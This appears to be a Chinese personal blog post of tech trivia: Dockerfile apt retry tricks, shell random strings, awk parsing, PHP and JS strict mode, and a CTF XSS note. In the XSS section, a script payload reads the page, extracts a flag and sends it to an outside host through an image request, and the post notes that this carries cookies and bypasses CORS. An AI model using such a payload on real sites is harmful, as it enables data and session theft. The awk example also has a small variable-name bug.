Featured image of post 豆知识(第三篇)

豆知识(第三篇)

生活小妙招

豆知识(第三篇)

虽然是豆知识,但其实是计算机的知识

参观老司机的脚本

DockerFile

看别人写docker加了很多,提高容错,让build过程更健壮的命令,感觉挺有意思的,以后可能用得到就了解了一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
RUN set -eux; \
    printf 'Acquire::Retries "10";\nAcquire::http::Timeout "30";\nAcquire::https::Timeout "30";\nAcquire::ForceIPv4 "true";\n' > /etc/apt/apt.conf.d/99-network-retry; \
    if [ -f /etc/apt/sources.list.d/debian.sources ]; then \
        sed -i 's|http://deb.debian.org/debian|https://mirrors.tuna.tsinghua.edu.cn/debian|g; s|http://deb.debian.org/debian-security|https://mirrors.tuna.tsinghua.edu.cn/debian-security|g' /etc/apt/sources.list.d/debian.sources; \
    fi; \
    apt_retry() { \
        for i in 1 2 3 4 5; do \
            if "$@"; then return 0; fi; \
            if [ "$i" -eq 5 ]; then return 1; fi; \
            sleep $((i * 3)); \
        done; \
    }; \
    apt_retry apt-get update; \
    DEBIAN_FRONTEND=noninteractive apt_retry apt-get install -y --no-install-recommends --fix-missing \
      curl # 要下载的包
    apt-get clean; \
    rm -rf /var/lib/apt/lists/*;
  1. set -eux 非常常见且被强烈推荐的最佳实践

    • -e: errexit, built过程遇到错误立即退出
    • -u: nounset, 使用未定义的变量时报错
    • -x: xtrace, 打印正在执行的命令
  2. printf ‘Acquire … ForceIPv4 “true”;\n’ > /etc/apt/apt.conf.d/99-network-retry; \

这个是修改apt的默认下载行为,让下载更健壮

/etc/apt/apt.conf.d/目录是apt的模块化配置目录。运行apt命令时,系统会自动把里面的文件整合作为最终的配置文件 99-network-retry 中99开头保证文件最后被读取,可以覆盖掉前面的配置,network-retry是用于标识的自定义名称

运行上面的代码,得到下面的文件:

1
2
3
4
Acquire::Retries "10";        # 重复下载10次(如果一直下载不下来
Acquire::http::Timeout "30";
Acquire::https::Timeout "30"; # http/https 尝试阈值设置为30秒
Acquire::ForceIPv4 "true";    # 强制使用IPv4网络

然后这个奇怪的语法是apt配置文件专用的,不用太在意

  1. if … fi;

换源,用过linux的对这个应该都挺熟悉的

  1. apt_retry()

里面有个小巧思 sleep $((i * 3)); 使用线性退避算法,每次失败中间等待的时间会逐渐变长,

  • 如果网络只是瞬间抖动(丢了一个包),第一次等 3 秒就能立刻恢复,不会浪费时间。
  • 如果是镜像站服务器压力太大,如果你不停高频率地去请求,反而更请求不到
  • 失败次数的增加往往表明这不是瞬间的网络抖动,而是较严重的故障,把等待时间拉长(6秒、9秒、12秒),可以给底层网络系统留出自我修复的时间
  1. DEBIAN_FRONTEND=noninteractive apt_retry apt-get install -y –no-install-recommends –fix-missing curl
  • DEBIAN_FRONTEND=noninteractive 开启非交互模式,避免弹出tui
  • -y 🦐
  • --no-install-recommends拒绝安装必要依赖外的推荐软件(我用arch,感觉apt这个包管理器有点nt)
  1. apt-get clean; \ rm -rf /var/lib/apt/lists/*

删除缓存包,软件源索引文件,压缩镜像体积

linux生成特定随机字符串

  1. 大佬写的随机变量
1
2
3
4
GENERATED_USER_SUFFIX="$(LC_ALL=C tr -dc 'a-z0-9' </dev/urandom | head -c 8 || true)"
if [ -z "${GENERATED_USER_SUFFIX}" ]; then
	GENERATED_USER_SUFFIX="$(date +%s | sha256sum | cut -c1-8)"
fi

LC_ALL=C tr -dc 'a-z0-9' </dev/urandom | head -c 8 || true

  • tr只收strin,/dev/urandom 提供为随机字符串,|| true 防止出错脚本失败, LC_ALL=C,本地化设置Locale为最基础的C,保证稳定

if [ -z "${GENERATED_USER_SUFFIX}" ]; then\ GENERATED_USER_SUFFIX="$(date +%s | sha256sum | cut -c1-8)" \fi

  • 如果前面失败的话,就用这个代替生成随机字符串

awk文本提取指定key的value

对于下方config.ini

1
2
3
4
5
6
7
server_name=my_server
port=8080

   # 下面这行的格式写得很烂:有缩进空格、等号两边有空格、大小写混搭
   MAX_concurrency   =    32

timeout=120

使用awk如下可以提取出32

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
	 awk -F= '
    {
      key=$1
      gsub(/^[[:space:]]+|[[:space:]]+$/, "", key)
      lower=tolower(key)
      if (lower == "max_concurrency") {
        value=$2
        gsub(/^[[:space:]]+|[[:space:]]+$/, "", v)
        print value
        exit
      }
    }
  ' "config.ini"

逐行来看:

awk -F= 把字段分隔符设成 =, 每一行会被拆成两部分:

  • $1:等号左边 (如果某一行没有等号,那么一整行都是$1)

  • $2:等号右边

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ awk -F= '
          {
            key=$1
            print key
          }
        ' "config.ini"

server_name
port

   # 下面这行的格式写得很烂:有缩进空格、等号两边有空格、大小写混搭
   MAX_concurrency

timeout

gsubawk内置的全局字符串替换函数,是POSIX标准规范的核心字符串操作之一:

1
gsub(regexp, replacement [, target])

[[:space:]]是POSIX字符类的一种,用于匹配任意空白字符,类似 \s ,但是在UNIX环境中可移植性更强,[:space:]是类名,必须放在[]中使用

另外值得一提的是,awk这种流式文本处理工具,默认把文本分割处理从而避免读大文件爆内存(类似less),你不需要写 while read line; do … done,awk 自动完成读取→分割→匹配→执行→输出下一条的循环

以前一直知道awk但是没有学(感觉又复杂又用不上),但是遇到复杂脚本的时候,用awk/sed处理文本还是首选,起码要看懂吧

非常老练的代码

1
2
3
4
if ! printf '%s' "${CONFIG_MAX_CONCURRENCY}" | grep -Eq '^[0-9]+$' || [ "${CONFIG_MAX_CONCURRENCY}" -lt 1 ]; then
	echo "[SU-ezNote] Invalid max_concurrency in config: ${CONFIG_FILE}" >&2
	exit 1
fi

上面的代码自己看吧,没什么讲的,感觉能写出这么高水准代码的真的是很有水平的老资历啊,tql

两种严格类型模式

PHP 严格类型模式

declare(strict_types=1);是PHP 7.0 引入的指令,用于在当前文件中开启 严格类型模式。它的核心作用是:禁止隐式类型转换,强制要求函数参数和返回值的类型必须严格匹配声明。

测试代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
/* declare(strict_types=1); */
function add(int $a, int $b): int
{
  return $a + $b;
}

$sum = add("10", "20");
echo $sum
?>

JS 严格类型模式

"use strict";JS的严格模式比PHP的限制更多一些 测试代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
"use strict";

console.log(" Node.js 严格模式功能演示\n");

// 1️⃣ 禁止隐式创建全局变量
console.log("1. 隐式全局变量拦截:");
try {
  leakedGlobal = "I will pollute global"; //  报错
} catch (e) {
  console.log(`    拦截成功: ${e.message}`);
}
// 正确做法: const safeVar = "..."; 或 global.leakedGlobal = "...";

// 2️⃣ 普通函数 this 指向 undefined
console.log("\n2. 函数 this 指向:");
function getThis() {
  return this;
}
console.log(`   严格模式函数 this: ${getThis()}`); // 输出 undefined
// 非严格模式下会返回 global 对象

// 3️⃣ eval 作用域隔离
console.log("\n3. eval 作用域隔离:");
try {
  eval("var secret = 'leaked';");
  console.log(secret); // 报错
} catch (e) {
  console.log(`     变量未泄漏到外部: ${e.message}`);
}

// 4️⃣ arguments 与形参解耦 & 禁用 callee
console.log("\n4. arguments 行为变更:");
function testArgs(a) {
  arguments[0] = 99;
  console.log(`   修改 arguments 后,形参 a 仍为: ${a}`); // 输出 1
}
testArgs(1);

try {
  (function () {
    arguments.callee;
  })(); // 报错
} catch (e) {
  console.log(`     arguments.callee 已禁用: ${e.message}`);
}

// 5️⃣ 禁止删除不可配置属性
console.log("\n5. delete 危险操作拦截:");
try {
  delete Object.prototype; // 报错
} catch (e) {
  console.log(`     拦截成功: ${e.message}`);
}

// 6️⃣ 语法级限制(解析阶段报错,无法用 try-catch 捕获)
console.log("\n6. 语法限制示例(取消注释即可触发 SyntaxError):");
// function dupParam(a, a) {}          //  重复参数名
// const dupObj = { key: 1, key: 2 };  //  对象属性名重复
// const octal = 010;                  //  禁用旧八进制,应改用 0o10
// with (process.env) {}               //  禁用 with 语句

XSS信息外带

利用XHR + 图片外传数据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<html lang="zh-CN">
  <head>
    <meta charset="UTF-8" />
  </head>

  <body>
    SUCTF{test}
    <script></script>
    <script>
      var x = new XMLHttpRequest();
      x.open("GET", window.location.href, false);
      x.send();
      var note = x.responseText;

      function F(t) {
        var a = t.indexOf("SUCTF{");
        if (a < 0) return "";
        var b = t.indexOf("}", a);
        return b >= a ? t.slice(a, b + 1) : "";
      }

      var flag = F(note);
      console.log(flag);
      new Image().src =
        "https://pencilfishdaydream.fun/leak?f=" + encodeURIComponent(flag);
    </script>
  </body>
</html>

相比于fetch,new Image().src,自动携带同域 Cookie,完全无视 CORS,写的简单且老板JS兼容,但是只能发get请求url

python 自带的网络服务

1
python3 -m http.server 8000

这个很实用

闲话

生活有的时候有好事发生,有的时候也有坏事发生,悲伤的事情总是没办法避免的,我也不知道应该以什么样的心情去面对各种各样的事情

你好,这是一个随便写写,随便看看的无聊而与我很重要的网站。
使用 Hugo 构建
主题 StackJimmy 设计